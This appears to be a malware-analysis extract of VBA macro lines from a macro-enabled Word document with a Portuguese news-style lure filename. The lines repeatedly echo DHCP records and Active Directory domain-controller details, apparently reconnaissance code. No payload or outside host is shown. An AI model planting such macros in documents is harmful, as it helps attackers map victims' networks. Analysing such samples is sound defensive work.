Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "DHCP Records"
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Event ID: " & arrDHCPRecord(0)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Date: " & arrDHCPRecord(1)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Time: " & arrDHCPRecord(2)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & arrDHCPRecord(3)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "IP Address: " & arrDHCPRecord(4)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Host Name: " & arrDHCPRecord(5)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "MAC Address: " & arrDHCPRecord(6)
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo vbCrLf & "Number of DHCP records read: " & i
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Name: " & objItem.Name
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC: " & objItem.DC
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Default: " & objItem.Default
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain: " & objItem.Domain
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Key Name: " & objItem.KeyName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Maps: " & objItem.Maps
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Client Site Name: " & objItem.ClientSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DC Site Name: " & objItem.DcSiteName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Description: " & objItem.Description
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain GUID: " & objItem.DomainGuid
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "Domain Name: " & objItem.DomainName
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag
Source: Medica negra morre covid-19 apos racismo.docmOLE, VBA macro line: Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag
